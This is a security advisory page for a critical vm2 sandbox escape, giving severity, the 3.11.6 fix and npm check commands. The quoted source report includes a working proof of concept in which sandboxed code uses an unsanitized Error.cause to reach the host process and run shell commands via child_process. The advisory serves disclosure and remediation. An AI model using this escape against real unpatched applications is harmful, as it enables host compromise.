CVE-2026-47686: Vm2 Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-m283-3h24-438v
CVSS 9.9
CWE-693
Published
Advisory Summary

CVE-2026-47686 is a CRITICAL (CVSS 9.9) remote code execution vulnerability (CWE-693: Protection Mechanism Failure) affecting Vm2 libraries in the npm ecosystem. The issue involves vm2 has missing error.cause sanitization that enables sandbox escape to rce. Remediation is available by upgrading affected packages to version 3.11.6.

CVE-2026-47686 at a Glance

CVE Identifier CVE-2026-47686
GHSA Identifier GHSA-m283-3h24-438v
Severity CRITICAL
CVSS v3.1 Base Score 9.9
CWE Classification CWE-693: Protection Mechanism Failure
Affected Product Vm2
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-47686

To remediate this vulnerability, upgrade all affected Vm2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

vm2 fixed: 3.11.6
npm install vm2@3.11.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls vm2

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-47686, inspect your project dependencies using npm:

npm ls vm2

Analyze the terminal output to locate any version of Vm2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.11.6), your application is affected.

Note: The npm ls vm2 command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-693: Protection Mechanism Failure, where the product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product. In Vm2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

**Affected:** vm2 <= 3.11.3 **CVSS 3.1:** 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) **CWE:** CWE-693 (Protection Mechanism Failure) **Prerequisite:** Embedder exposes a host function that throws an Error with `.cause` referencing a powerful host object (e.g., `process`) ## Summary I found that `handleException()` in `lib/setup-sandbox.js` recursively sanitizes sub-errors for `SuppressedError` and `AggregateError`, but completely ignores the ES2022 `Error.cause` property. When sandbox code catches a host-thrown error carrying a `.cause` that references a host object like `process`, it can traverse that reference to achieve arbitrary command execution on the host. The project's own `docs/ATTACKS.md` (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim. ## Root Cause The `handleException` function (lines 869-959 of `lib/setup-sandbox.js`) walks the prototype chain of caught errors looking for `SuppressedError` and `AggregateError`. When it finds them, it recursively sanitizes their contained errors (`.error`, `.suppressed`, `.errors[]`). For all other error types, it returns `e` directly at line 958 without inspecting `.cause`. ```javascript function handleException(e, visited) { e = ensureThis(e); if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e; // ... cycle detection ... while (proto !== null) { if (proto === localSuppressedErrorProto) { e.error = handleException(e.error, visited); // sanitized e.suppressed = handleException(e.suppressed, visited); // sanitized return e; } if (proto === localAggregateErrorProto) { // sanitizes e.errors[] ... return e; } proto = localReflectGetPrototypeOf(proto); } return e; // .cause is NEVER checked } ``` Error.cause was introduced in ES2022 (Node 16.9+). When `handleException` was extended to cover `SuppressedError` (for ES2024 `using` declarations) and `AggregateError`, the `.cause` property was simply overlooked. ## Affected Code - `lib/setup-sandbox.js:869-959`, the `handleException` function (missing `.cause` handling) - `lib/setup-sandbox.js:886`, `ensureThis` wraps the error but does not recurse into `.cause` - `docs/ATTACKS.md:54`, Defense Invariant #3 falsely claims `.cause` is covered ## Reproduction Embedder code that exposes a function throwing with `.cause` set to `process`: ```javascript const { VM } = require('vm2'); const vm = new VM({ sandbox: { hostFn: () => { throw new Error('fail', { cause: process }); } } }); const result = vm.run(` try { hostFn(); } catch (e) { // .cause is not sanitized, so we get a direct reference to host process const proc = e.cause; proc.mainModule.require('child_process').execSync('id').toString(); } `); console.log(result); ``` Verified output: ``` uid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),... ``` Full RCE confirmed. ## Impact Any application using vm2 where an embedder-exposed function throws an Error with `.cause` referencing a host object is vulnerable. The attacker gains: - Full host process access (read/write files, spawn processes, network access) - Sandbox escape with changed scope (CVSS S:C) - No user interaction required The prerequisite (embedder throwing with `.cause`) is increasingly common. Error chaining via `new Error('msg', { cause: originalError })` is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way. ## Suggested Fix Add `.cause` sanitization before the prototype-chain walk, so it applies to all error types: ```javascript function handleException(e, visited) { e = ensureThis(e); if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e; if (!visited) visited = new LocalWeakMap(); if (apply(localWeakMapGet, visited, [e])) return e; apply(localWeakMapSet, visited, [e, true]); // Sanitize .cause on ALL errors (ES2022) try { if ('cause' in e) { e.cause = handleException(e.cause, visited); } } catch (ex) { /* best effort */ } let proto = localReflectGetPrototypeOf(e); while (proto !== null) { if (proto === localSuppressedErrorProto) { e.error = handleException(e.error, visited); e.suppressed = handleException(e.suppressed, visited); return e; } if (proto === localAggregateErrorProto) { if (localArrayIsArray(e.errors)) { for (let i = 0; i < e.errors.length; i++) { e.errors[i] = handleException(e.errors[i], visited); } } return e; } proto = localReflectGetPrototypeOf(proto); } return e; } ``` `docs/ATTACKS.md` Defense Invariant #3 should also be updated to reflect reality until this fix ships. ## Artifacts | File | Role | |------|------| | `poc_error_cause_escape.js` | PoC demonstrating sandbox escape to RCE via unsanitized `.cause` | [poc_error_cause_escape.js](https://github.com/user-attachments/files/27952274/poc_error_cause_escape.js)

CVE-2026-47686 Affected Vm2 Versions

1 component(s)
Fixed Versions:
3.11.6
Product / Package Ecosystem Affected Versions Fixed Version
vm2
npm
< 3.11.6
3.11.6

References

Frequently Asked Questions

What is CVE-2026-47686?
CVE-2026-47686 is a security vulnerability in Vm2 involving VM2 has Missing Error.cause Sanitization that Enables Sandbox Escape to RCE under CWE-693: Protection Mechanism Failure.
Which Vm2 versions are affected?
Affected versions include releases prior to 3.11.6 across affected packages: vm2.
What version fixes CVE-2026-47686?
Upgrading to 3.11.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is vm2 affected?
Yes, vm2 is affected in releases prior to 3.11.6. Upgrade your dependency to 3.11.6 or later.
What is the CVSS score of CVE-2026-47686?
CVE-2026-47686 has a CVSS v3.1 base score of 9.9 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-47686?
CVE-2026-47686 is classified under CWE-693: Protection Mechanism Failure (The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.).
How can I check npm dependencies for CVE-2026-47686?
Run the dependency tree command: 'npm ls vm2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-m283-3h24-438v",
  "modified" : "2026-08-17T17:32:34Z",
  "published" : "2026-08-17T17:32:34Z",
  "aliases" : [ "CVE-2026-47686" ],
  "summary" : "VM2 has Missing Error.cause Sanitization that Enables Sandbox Escape to RCE",
  "details" : "**Affected:** vm2 <= 3.11.3\n**CVSS 3.1:** 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)\n**CWE:** CWE-693 (Protection Mechanism Failure)\n**Prerequisite:** Embedder exposes a host function that throws an Error with `.cause` referencing a powerful host object (e.g., `process`)\n\n## Summary\n\nI found that `handleException()` in `lib/setup-sandbox.js` recursively sanitizes sub-errors for `SuppressedError` and `AggregateError`, but completely ignores the ES2022 `Error.cause` property. When sandbox code catches a host-thrown error carrying a `.cause` that references a host object like `process`, it can traverse that reference to achieve arbitrary command execution on the host.\n\nThe project's own `docs/ATTACKS.md` (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim.\n\n## Root Cause\n\nThe `handleException` function (lines 869-959 of `lib/setup-sandbox.js`) walks the prototype chain of caught errors looking for `SuppressedError` and `AggregateError`. When it finds them, it recursively sanitizes their contained errors (`.error`, `.suppressed`, `.errors[]`). For all other error types, it returns `e` directly at line 958 without inspecting `.cause`.\n\n```javascript\nfunction handleException(e, visited) {\n    e = ensureThis(e);\n    if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;\n    // ... cycle detection ...\n    while (proto !== null) {\n        if (proto === localSuppressedErrorProto) {\n            e.error = handleException(e.error, visited);      // sanitized\n            e.suppressed = handleException(e.suppressed, visited); // sanitized\n            return e;\n        }\n        if (proto === localAggregateErrorProto) {\n            // sanitizes e.errors[] ...\n            return e;\n        }\n        proto = localReflectGetPrototypeOf(proto);\n    }\n    return e; // .cause is NEVER checked\n}\n```\n\nError.cause was introduced in ES2022 (Node 16.9+). When `handleException` was extended to cover `SuppressedError` (for ES2024 `using` declarations) and `AggregateError`, the `.cause` property was simply overlooked.\n\n## Affected Code\n\n- `lib/setup-sandbox.js:869-959`, the `handleException` function (missing `.cause` handling)\n- `lib/setup-sandbox.js:886`, `ensureThis` wraps the error but does not recurse into `.cause`\n- `docs/ATTACKS.md:54`, Defense Invariant #3 falsely claims `.cause` is covered\n\n## Reproduction\n\nEmbedder code that exposes a function throwing with `.cause` set to `process`:\n\n```javascript\nconst { VM } = require('vm2');\n\nconst vm = new VM({\n    sandbox: {\n        hostFn: () => {\n            throw new Error('fail', { cause: process });\n        }\n    }\n});\n\nconst result = vm.run(`\n    try {\n        hostFn();\n    } catch (e) {\n        // .cause is not sanitized, so we get a direct reference to host process\n        const proc = e.cause;\n        proc.mainModule.require('child_process').execSync('id').toString();\n    }\n`);\n\nconsole.log(result);\n```\n\nVerified output:\n\n```\nuid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...\n```\n\nFull RCE confirmed.\n\n## Impact\n\nAny application using vm2 where an embedder-exposed function throws an Error with `.cause` referencing a host object is vulnerable. The attacker gains:\n\n- Full host process access (read/write files, spawn processes, network access)\n- Sandbox escape with changed scope (CVSS S:C)\n- No user interaction required\n\nThe prerequisite (embedder throwing with `.cause`) is increasingly common. Error chaining via `new Error('msg', { cause: originalError })` is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way.\n\n## Suggested Fix\n\nAdd `.cause` sanitization before the prototype-chain walk, so it applies to all error types:\n\n```javascript\nfunction handleException(e, visited) {\n    e = ensureThis(e);\n    if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;\n    if (!visited) visited = new LocalWeakMap();\n    if (apply(localWeakMapGet, visited, [e])) return e;\n    apply(localWeakMapSet, visited, [e, true]);\n\n    // Sanitize .cause on ALL errors (ES2022)\n    try {\n        if ('cause' in e) {\n            e.cause = handleException(e.cause, visited);\n        }\n    } catch (ex) { /* best effort */ }\n\n    let proto = localReflectGetPrototypeOf(e);\n    while (proto !== null) {\n        if (proto === localSuppressedErrorProto) {\n            e.error = handleException(e.error, visited);\n            e.suppressed = handleException(e.suppressed, visited);\n            return e;\n        }\n        if (proto === localAggregateErrorProto) {\n            if (localArrayIsArray(e.errors)) {\n                for (let i = 0; i < e.errors.length; i++) {\n                    e.errors[i] = handleException(e.errors[i], visited);\n                }\n            }\n            return e;\n        }\n        proto = localReflectGetPrototypeOf(proto);\n    }\n    return e;\n}\n```\n\n`docs/ATTACKS.md` Defense Invariant #3 should also be updated to reflect reality until this fix ships.\n\n## Artifacts\n\n| File | Role |\n|------|------|\n| `poc_error_cause_escape.js` | PoC demonstrating sandbox escape to RCE via unsanitized `.cause` |\n[poc_error_cause_escape.js](https://github.com/user-attachments/files/27952274/poc_error_cause_escape.js)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "vm2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.11.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.11.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/security/advisories/GHSA-m283-3h24-438v"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/patriksimek/vm2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/releases/tag/3.11.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-693" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-17T17:32:34Z",
    "nvd_published_at" : null
  }
}